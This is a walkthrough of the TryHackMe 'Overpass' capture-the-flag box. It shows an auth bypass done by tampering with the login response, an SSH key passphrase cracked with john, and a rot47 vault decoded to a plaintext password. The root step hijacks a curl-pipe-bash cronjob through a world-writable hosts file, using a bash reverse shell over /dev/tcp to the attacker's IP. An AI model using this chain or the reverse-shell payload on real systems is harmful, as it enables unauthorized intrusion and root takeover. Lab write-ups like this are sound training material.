THM: Overpass
Intro⌗
THM: Overpass is a linux box that starts out with a simple authentication bypass on a website to access an admin page that revelas a SSH key. We’ll have to crack the passphrase, but once that’s done we’ll be able to SSH to the box. The theme of this box involves a “secure” password manager written by some compsci students. The source code is provided which will reveal where and how password data is stored. Once we understand how it works we’ll retrieve a password for another user on the box. Finally, we’ll abuse open file permissions on the hosts file to control what code is being executed by a cronjob running as root in order to escalate privileges.
Recon⌗
┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Overpass]
└─$ sudo rustscan -a 10.10.169.147 -- -sV -O -oA nmap1
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 61 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 61 Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Adtran 424RG FTTH gateway (92%), Linux 2.6.32 (92%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%), Linux 3.2 - 4.9 (92%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:
SCAN(V=7.91%E=4%D=7/31%OT=22%CT=%CU=44404%PV=Y%DS=4%DC=I%G=N%TM=62E6811B%P=x86_64-pc-linux-gnu)
SEQ(SP=104%GCD=1%ISR=109%TI=Z%CI=Z%II=I%TS=A)
OPS(O1=M506ST11NW7%O2=M506ST11NW7%O3=M506NNT11NW7%O4=M506ST11NW7%O5=M506ST11NW7%O6=M506ST11)
WIN(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)
ECN(R=Y%DF=Y%T=40%W=F507%O=M506NNSNW7%CC=Y%Q=)
T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)
IE(R=Y%DFI=N%T=40%CD=S)
Uptime guess: 22.463 days (since Fri Jul 8 22:11:43 2022)
Network Distance: 4 hops
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We have a website for a “secure” password manager called Overpass on port 80. On the downloads page we’re given pre-built binaries for several platforms as well as the source code.
We can download these assets and kick off some content enumeration in the background to see if there is anything else of interest on the site.
┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Overpass]
└─$ ffuf -t 100 -u http://10.10.169.147/FUZZ -w /usr/share/wordlists/dirb/common.txt -c 1 ⚙
aboutus [Status: 301, Size: 0, Words: 1, Lines: 1]
admin [Status: 301, Size: 42, Words: 3, Lines: 3]
css [Status: 301, Size: 0, Words: 1, Lines: 1]
downloads [Status: 301, Size: 0, Words: 1, Lines: 1]
img [Status: 301, Size: 0, Words: 1, Lines: 1]
index.html [Status: 301, Size: 0, Words: 1, Lines: 1]
And we found an admin login page at /admin
. By viewing the source of the page we can see it references a /login.js
file which runs this function when the page loads:
async function login() {
const usernameBox = document.querySelector("#username");
const passwordBox = document.querySelector("#password");
const loginStatus = document.querySelector("#loginStatus");
loginStatus.textContent = ""
const creds = { username: usernameBox.value, password: passwordBox.value }
const response = await postData("/api/login", creds)
const statusOrCookie = await response.text()
if (statusOrCookie === "Incorrect credentials") {
loginStatus.textContent = "Incorrect Credentials"
passwordBox.value=""
} else {
Cookies.set("SessionToken",statusOrCookie)
window.location = "/admin"
}
}
It looks like we can either intercept the response from /api/login
to change the body to something other than “Incorrect credentials” or we can use DevTools to set our own SessionToken
cookie to bypass authentication!
Authentication Bypass⌗
In Burp, turn intercept mode on and attempt to log in with dummy credentials. Once the request appears in Burp, right click to also intercept the response before forwarding the request on.
Once the response is intercepted, we can modify the body so that it doesn’t match the value the javascript code is expecting for invalid login attempts.
And with that we are now able to access the admin page!
Initial Foothold⌗
We’re given a private key for James with a hint that we’ll need to crack the password for it.
Let’s:
- Copy and paste this key to a file named
james_id_rsa
chmod 400 james_id_rsa
- Use
ssh2john
to convert the key to a hash file thatjohn
can crack. - Run
john
to crack the passphrase.
┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Overpass]
└─$ python /usr/share/john/ssh2john.py james_id_rsa > james_id_rsa.hash 130 ⨯ 1 ⚙
┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Overpass]
└─$ john james_id_rsa.hash --wordlist=/usr/share/wordlists/rockyou.txt 1 ⚙
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
REDACTED (james_id_rsa)
1g 0:00:00:06 DONE (2022-07-31 10:30) 0.1658g/s 2378Kp/s 2378Kc/s 2378KC/sa6_123..*7¡Vamos!
Session completed
Now we can SSH in to James' account!
┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Overpass]
└─$ ssh -i james_id_rsa james@10.10.169.147 1 ⚙
Enter passphrase for key 'james_id_rsa':
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-108-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sun Jul 31 14:31:35 UTC 2022
System load: 0.0 Processes: 88
Usage of /: 22.3% of 18.57GB Users logged in: 0
Memory usage: 15% IP address for eth0: 10.10.169.147
Swap usage: 0%
47 packages can be updated.
0 updates are security updates.
Last login: Sat Jun 27 04:45:40 2020 from 192.168.170.1
james@overpass-prod:~$ id
uid=1001(james) gid=1001(james) groups=1001(james)
And from here we’ll find the user flag in James' home directory.
james@overpass-prod:~$ wc -c user.txt
38 user.txt
Privilege Escalation⌗
Also in James' home directory is a .overpass
file. If you took time to look through the source code for Overpass earlier you’ll recognize this as the “encrypted” password vault.
Except it’s not really encrypted, just obfuscated.
There is a function named rot47()
that implements the rot47 substitution cipher before passwords are written to the file.
//Secure encryption algorithm from https://socketloop.com/tutorials/golang-rotate-47-caesar-cipher-by-47-characters-example
func rot47(input string) string {
var result []string
for i := range input[:len(input)] {
j := int(input[i])
if (j >= 33) && (j <= 126) {
result = append(result, string(rune(33+((j+14)%94))))
} else {
result = append(result, string(input[i]))
}
}
return strings.Join(result, "")
}
So if we copy the content of the file and run it through CyberChef we can see the plaintext:
[{"name":"System","pass":"saydrawnlyingpicture"}]
This is probably James' system password? We can sudo -l
to check for sudo privileges which requires a password. It turns out James does not have permission to run sudo on this box, but that is his password.
Now what?
Checking the crontab for any interesting leads shows us that root is running the curl
command to fetch the Overpass build script and immediately executing it.
james@overpass-prod:/$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
# Update builds from latest code
* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash
This is interesting! We’ve been accessing the target via its IP so far, but here we can see there is an overpass.thm
domain. We can cat /etc/hosts
and see that it resolves back to 127.0.0.1
.
Normally this file can only be edited by root, but the permissions are wide open here.
james@overpass-prod:/$ ls -la /etc/hosts
-rw-rw-rw- 1 root root 250 Jun 27 2020 /etc/hosts
So if we modify it so that the domain resolves to our IP, we can control what code is returned and executed!
- In a local terminal, run
mkdir -p downloads/src
to create a directory structure matching what the cronjob will be requesting. - Run
echo "/bin/bash -i >& /dev/tcp/10.13.17.127/5555 0>&1" > downloads/src/buildscript.sh
to create a file with a reverse shell payload. - Run
sudo python3 -m http.server 80
to start an HTTP server. We’ll need to do this with sudo in order to listen on port 80. - Open another local terminal and run
nc -nlvp 5555
to start a netcat listener. - On the target, edit
/etc/hosts
and replace the IP mapping tooverpass.thm
with your IP. - Wait up to a minute for the job to run again. When it does, we’ll have a shell as root!
┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Overpass]
└─$ nc -nlvp 5555
listening on [any] 5555 ...
connect to [10.13.17.127] from (UNKNOWN) [10.10.169.147] 40380
bash: cannot set terminal process group (21993): Inappropriate ioctl for device
bash: no job control in this shell
root@overpass-prod:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@overpass-prod:~# wc -c /root/root.txt
wc -c /root/root.txt
38 /root/root.txt
✅